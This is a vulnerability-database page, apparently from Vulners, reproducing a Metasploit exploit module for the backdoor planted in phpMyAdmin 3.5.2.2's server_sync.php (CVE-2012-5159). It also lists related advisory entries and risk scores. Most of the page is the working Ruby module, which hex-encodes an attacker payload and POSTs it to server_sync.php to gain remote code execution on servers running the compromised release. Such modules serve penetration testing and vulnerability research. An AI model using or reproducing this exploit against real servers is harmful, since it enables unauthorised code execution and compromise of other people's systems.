phpMyAdmin 3.5.2.2 - 'server_sync.php' Backdoor (Metasploit)
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2012-5159 | 10 Oct 201200:00 | – | circl | |
| CVE-2012-5159 | 25 Sep 201222:00 | – | cve | |
| CVE-2012-5159 | 25 Sep 201222:00 | – | cvelist | |
| DSquare Exploit Pack: D2SEC_PMA_BACKDOOR | 25 Sep 201222:55 | – | d2 | |
| CVE-2012-5159 | 25 Sep 201222:00 | – | debiancve | |
| phpMyAdmin 3.5.2.2 server_sync.php Backdoor | 25 Sep 201215:47 | – | metasploit | |
| CVE-2012-5159 | 25 Sep 201222:55 | – | nvd | |
| phpMyAdmin 'server_sync.php' Backdoor Vulnerability | 26 Sep 201200:00 | – | openvas | |
| One server from the SourceForge.net mirror system was distributing a phpMyAdmin kit containing a backdoor. | 25 Sep 201200:00 | – | phpmyadmin | |
| phpMyAdmin server_sync.php Backdoor (PMASA-2012-5) | 26 Sep 201200:00 | – | nessus |
10
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
'Description' => %q{
This module exploits an arbitrary code execution backdoor
placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
},
'DefaultOptions' =>
{
'WfsDelay' => 30
},
'DisclosureDate' => 'Sep 25 2012',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
register_options([
OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
], self.class)
end
def exploit
uris = []
tpath = datastore['PATH']
if tpath[-1,1] == '/'
tpath = tpath.chop
end
pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")
res = send_request_raw( {
'global' => true,
'uri' => tpath + "/server_sync.php",
'method' => 'POST',
'data' => pdata,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => pdata.length,
}
}, 1.0)
handler
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Oct 2012 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.74515